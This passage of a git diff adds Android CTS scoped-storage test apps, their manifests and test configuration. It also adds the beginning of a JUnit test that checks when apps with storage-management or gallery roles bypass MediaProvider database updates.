+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.E"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="29" />
+
+ <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
+ <application android:label="TestAppE">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.E"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30.xml
new file mode 100644
index 00000000000..0b30e3fa48e
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30.xml
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.E30"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="30" />
+
+ <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+
+ <application android:label="TestAppE30">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.E30"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30FileManager.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30FileManager.xml
new file mode 100644
index 00000000000..30b38d5240f
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30FileManager.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.E30.filemanager"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="30" />
+
+ <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
+ <application android:label="TestAppE30FileManager">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.E30.filemanager"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppELegacy.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppELegacy.xml
new file mode 100644
index 00000000000..88fc52a4aea
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppELegacy.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.E.legacy"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+ <application android:label="TestAppELegacy">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.E.legacy"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppGeneralOnly.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppGeneralOnly.xml
new file mode 100644
index 00000000000..f895b653ae2
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppGeneralOnly.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.general.only"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="29" />
+
+ <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
+ <application android:label="TestAppGeneralOnly">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.general.only"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml
index b56e0cd61bc..52050bad0c4 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml
@@ -16,18 +16,20 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.scopedstorage.cts.testapp.SystemGalleryBypassDB"
+ package="android.scopedstorage.cts.testapp.SystemGallery30BypassDB"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="29" android:targetSdkVersion="30" />
+ <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
- <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
- <application android:label="TestAppSystemGalleryBypassDB" android:requestRawExternalStorageAccess="true">
+ <application android:label="TestAppSystemGallery30BypassDB" android:requestRawExternalStorageAccess="true">
<activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@@ -38,7 +40,7 @@
<provider
android:name="androidx.core.content.FileProvider"
- android:authorities="android.scopedstorage.cts.testapp.SystemGalleryBypassDB"
+ android:authorities="android.scopedstorage.cts.testapp.SystemGallery30BypassDB"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml
index ed4cd60ca40..c2a63aa2922 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml
@@ -28,7 +28,6 @@
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
- <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
<application android:label="TestAppSystemGalleryBypassDB" android:requestRawExternalStorageAccess="true">
<activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
diff --git a/hostsidetests/scopedstorage/TEST_MAPPING b/hostsidetests/scopedstorage/TEST_MAPPING
index 60a142fd107..ad086654c3a 100644
--- a/hostsidetests/scopedstorage/TEST_MAPPING
+++ b/hostsidetests/scopedstorage/TEST_MAPPING
@@ -8,6 +8,15 @@
},
{
"name": "CtsScopedStorageDeviceOnlyTest[com.google.android.mediaprovider.apex]"
+ },
+ {
+ "name": "CtsScopedStorageBypassDatabaseOperationsTest[com.google.android.mediaprovider.apex]"
+ },
+ {
+ "name": "CtsScopedStorageGeneralTest[com.google.android.mediaprovider.apex]"
+ },
+ {
+ "name": "CtsScopedStorageRedactUriTest[com.google.android.mediaprovider.apex]"
}
],
"presubmit": [
@@ -19,6 +28,15 @@
},
{
"name": "CtsScopedStorageDeviceOnlyTest"
+ },
+ {
+ "name": "CtsScopedStorageBypassDatabaseOperationsTest"
+ },
+ {
+ "name": "CtsScopedStorageGeneralTest"
+ },
+ {
+ "name": "CtsScopedStorageRedactUriTest"
}
],
"presubmit-large": [
diff --git a/hostsidetests/scopedstorage/bypassdatabase/AndroidManifest.xml b/hostsidetests/scopedstorage/bypassdatabase/AndroidManifest.xml
new file mode 100644
index 00000000000..8dd4d6dbd2b
--- /dev/null
+++ b/hostsidetests/scopedstorage/bypassdatabase/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.bypassdatabase">
+
+ <uses-sdk android:minSdkVersion="29" />
+
+ <queries>
+ <package android:name="android.scopedstorage.cts.testapp.A.withres" />
+ <package android:name="android.scopedstorage.cts.testapp.SystemGalleryBypassDB" />
+ <package android:name="android.scopedstorage.cts.testapp.SystemGallery30BypassDB" />
+ <package android:name="android.scopedstorage.cts.testapp.E30" />
+ <package android:name="android.scopedstorage.cts.testapp.E30.filemanager" />
+ <package android:name="android.scopedstorage.cts.testapp.filemanager" />
+ <package android:name="android.scopedstorage.cts.testapp.filemanagerbypassdb" />
+ </queries>
+
+ <application android:label="Scoped Storage Device Bypass Database Operations Tests">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.scopedstorage.cts.lib.GetResultActivity"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.scopedstorage.cts.bypassdatabase"
+ android:label="Device-only scoped storage bypass database operations tests" />
+
+</manifest>
diff --git a/hostsidetests/scopedstorage/bypassdatabase/AndroidTest.xml b/hostsidetests/scopedstorage/bypassdatabase/AndroidTest.xml
new file mode 100644
index 00000000000..064b67a1687
--- /dev/null
+++ b/hostsidetests/scopedstorage/bypassdatabase/AndroidTest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<configuration description="Runs device-only tests for scoped storage bypass database">
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsScopedStorageBypassDatabaseOperationsTest.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE30.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE30FileManager.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppFileManagerBypassDB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppSystemGalleryBypassDB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppSystemGallery30BypassDB.apk" />
+ </target_preparer>
+
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <option name="test-suite-tag" value="cts" />
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.scopedstorage.cts.bypassdatabase" />
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+ </test>
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+ <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+ </object>
+</configuration>
diff --git a/hostsidetests/scopedstorage/bypassdatabase/src/android/scopedstorage/cts/bypassdatabase/BypassDatabaseOperationsTest.java b/hostsidetests/scopedstorage/bypassdatabase/src/android/scopedstorage/cts/bypassdatabase/BypassDatabaseOperationsTest.java
new file mode 100644
index 00000000000..a7c9344ddec
--- /dev/null
+++ b/hostsidetests/scopedstorage/bypassdatabase/src/android/scopedstorage/cts/bypassdatabase/BypassDatabaseOperationsTest.java
@@ -0,0 +1,292 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.bypassdatabase;
+
+import static android.app.AppOpsManager.permissionToOp;
+import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.renameFileAs;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.Manifest;
+import android.app.AppOpsManager;
+import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
+import android.scopedstorage.cts.lib.TestUtils;
+import android.util.Log;
+
+import androidx.test.filters.SdkSuppress;
+
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+
+/**
+ * Device-side test suite to verify file path operations optionally bypassing database operations.
+ */
+@RunWith(Parameterized.class)
+public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
+ static final String TAG = "BypassDatabaseOperationsTest";
+ // An app with READ_EXTERNAL_STORAGE permission. Targets current SDK and is preinstalled
+ private static final TestApp APP_SYSTEM_GALLERY_DEFAULT = new TestApp("TestAppA",
+ "android.scopedstorage.cts.testapp.A.withres", 1, false,
+ "CtsScopedStorageTestAppA.apk");
+ // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets current SDK and has
+ // requestRawExternalStorageAccess=true
+ private static final TestApp APP_SYSTEM_GALLERY_BYPASS_DB = new TestApp(
+ "TestAppSystemGalleryBypassDB",
+ "android.scopedstorage.cts.testapp.SystemGalleryBypassDB", 1, false,
+ "CtsScopedStorageTestAppSystemGalleryBypassDB.apk");
+ // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30.
+ private static final TestApp APP_SYSTEM_GALLERY_30 = new TestApp("TestAppE30",
+ "android.scopedstorage.cts.testapp.E30", 1, false,
+ "CtsScopedStorageTestAppE30.apk");
+ // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30 and has
+ // requestRawExternalStorageAccess=true
+ private static final TestApp APP_SYSTEM_GALLERY_30_BYPASS_DB = new TestApp(
+ "TestAppSystemGallery30BypassDB",
+ "android.scopedstorage.cts.testapp.SystemGallery30BypassDB", 1, false,
+ "CtsScopedStorageTestAppSystemGallery30BypassDB.apk");
+ // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+ // Targets current SDK and preinstalled
+ private static final TestApp APP_FM_DEFAULT = new TestApp(
+ "TestAppFileManager", "android.scopedstorage.cts.testapp.filemanager", 1, false,
+ "CtsScopedStorageTestAppFileManager.apk");
+ // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+ // Targets current SDK and has requestRawExternalStorageAccess=true
+ private static final TestApp APP_FM_BYPASS_DATABASE_OPS = new TestApp(
+ "TestAppFileManagerBypassDB", "android.scopedstorage.cts.testapp.filemanagerbypassdb",
+ 1, false, "CtsScopedStorageTestAppFileManagerBypassDB.apk");
+ // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission and targets targetSDK=30
+ private static final TestApp APP_FM_TARGETS_30 = new TestApp("TestAppE30FileManager",
+ "android.scopedstorage.cts.testapp.E30.filemanager", 1, false,
+ "CtsScopedStorageTestAppE30FileManager.apk");
+
+ private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
+ permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+ private static final String[] SYSTEM_GALLERY_APPOPS = {
+ AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
+
+ /**
+ * To help avoid flaky tests, give ourselves a unique nonce to be used for
+ * all filesystem paths, so that we don't risk conflicting with previous
+ * test runs.
+ */
+ static final String NONCE = String.valueOf(System.nanoTime());
+
+ static final String IMAGE_FILE_NAME = "BypassDatabaseOperations_file_" + NONCE + ".jpg";
+
+ @BeforeClass
+ public static void setupApps() throws Exception {
+ // File manager needs to be explicitly granted MES app op.
+ final int fmUid =
+ getContext().getPackageManager().getPackageUid(
+ APP_FM_DEFAULT.getPackageName(), 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+ }
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters(name = "volume={0}")
+ public static Iterable<? extends Object> data() {
+ return ScopedStorageBaseDeviceTest.getTestParameters();
+ }
+
+ @Before
+ public void setupExternalStorage() throws Exception {
+ super.setupExternalStorage(mVolumeName);
+ Log.i(TAG, "Using volume : " + mVolumeName);
+ }
+
+
+ /**
+ * Test that app with MANAGE_EXTERNAL_STORAGE permission and targeting
+ * targetSDK=31 or higher will not bypass database operations by default.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testManageExternalStorage_DoesntBypassDatabase_afterS() throws Exception {
+ testAppDoesntBypassDatabaseOps(APP_FM_DEFAULT);
+ }
+
+ /**
+ * Test that app with MANAGE_EXTERNAL_STORAGE permission, targeting
+ * targetSDK=31 or higher and with requestRawExternalStorageAccess=true
+ * will bypass database operations.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testManageExternalStorage_WithBypassFlag_BypassesDatabase() throws Exception {
+ final int fmUid = getContext().getPackageManager().getPackageUid(
+ APP_FM_BYPASS_DATABASE_OPS.getPackageName(), 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+ testAppBypassesDatabaseOps(APP_FM_BYPASS_DATABASE_OPS);
+ }
+
+ /**
+ * Test that app with MANAGE_EXTERNAL_STORAGE permission and targeting
+ * targetSDK=30 or lower will bypass database operations by default.
+ */
+ @Test
+ public void testManageExternalStorage_targets30_BypassesDatabase() throws Exception {
+ final int fmUid = getContext().getPackageManager().getPackageUid(
+ APP_FM_TARGETS_30.getPackageName(), 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+ testAppBypassesDatabaseOps(APP_FM_TARGETS_30);
+ }
+
+ /**
+ * Test that app with SYSTEM_GALLERY role and targeting
+ * targetSDK=current or higher will not bypass database operations by default.
+ */
+ @Test
+ public void testSystemGallery_DoesntBypassDatabase() throws Exception {
+ final int sgUid =
+ getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_DEFAULT.getPackageName(), 0);
+ try {
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_DEFAULT);
+ } finally {
+ denyAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ }
+ }
+
+
+ /**
+ * Test that app with SYSTEM_GALLERY role, targeting
+ * targetSDK=current or higher and with requestOptimizedSystemGalleryAccess=true
+ * will bypass database operations.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testSystemGallery_WithBypassFlag_BypassesDatabase() throws Exception {
+ final int sgUid = getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_BYPASS_DB.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_BYPASS_DB);
+ }
+
+ /**
+ * Test that app with SYSTEM_GALLERY role and targeting
+ * targetSDK=30 or higher will not bypass database operations by default.
+ */
+ @Test
+ public void testSystemGallery_targets30_DoesntBypassDatabase() throws Exception {
+ final int sgUid = getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_30.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_30);
+ }
+
+ /**
+ * Test that app with SYSTEM_GALLERY role, targeting
+ * targetSDK=30 or higher and with requestOptimizedSystemGalleryAccess=true
+ * will bypass database operations.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testSystemGallery_targets30_WithBypassFlag_BypassesDatabase() throws Exception {
+ final int sgUid = getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_30_BYPASS_DB.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_30_BYPASS_DB);
+ }
+
+ private void testAppDoesntBypassDatabaseOps(TestApp app) throws Exception {
+ final File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File renamedFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ try {
+ assertThat(createFileAs(app, file.getAbsolutePath())).isTrue();
+ // File path create() added file to database.
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isTrue();
+
+ assertThat(renameFileAs(app, file, renamedFile)).isTrue();
+ // File path rename() also updates the database row
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isFalse();
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
+
+ assertThat(deleteFileAs(app, renamedFile.getAbsolutePath())).isTrue();
+ // File path delete() removes database row.
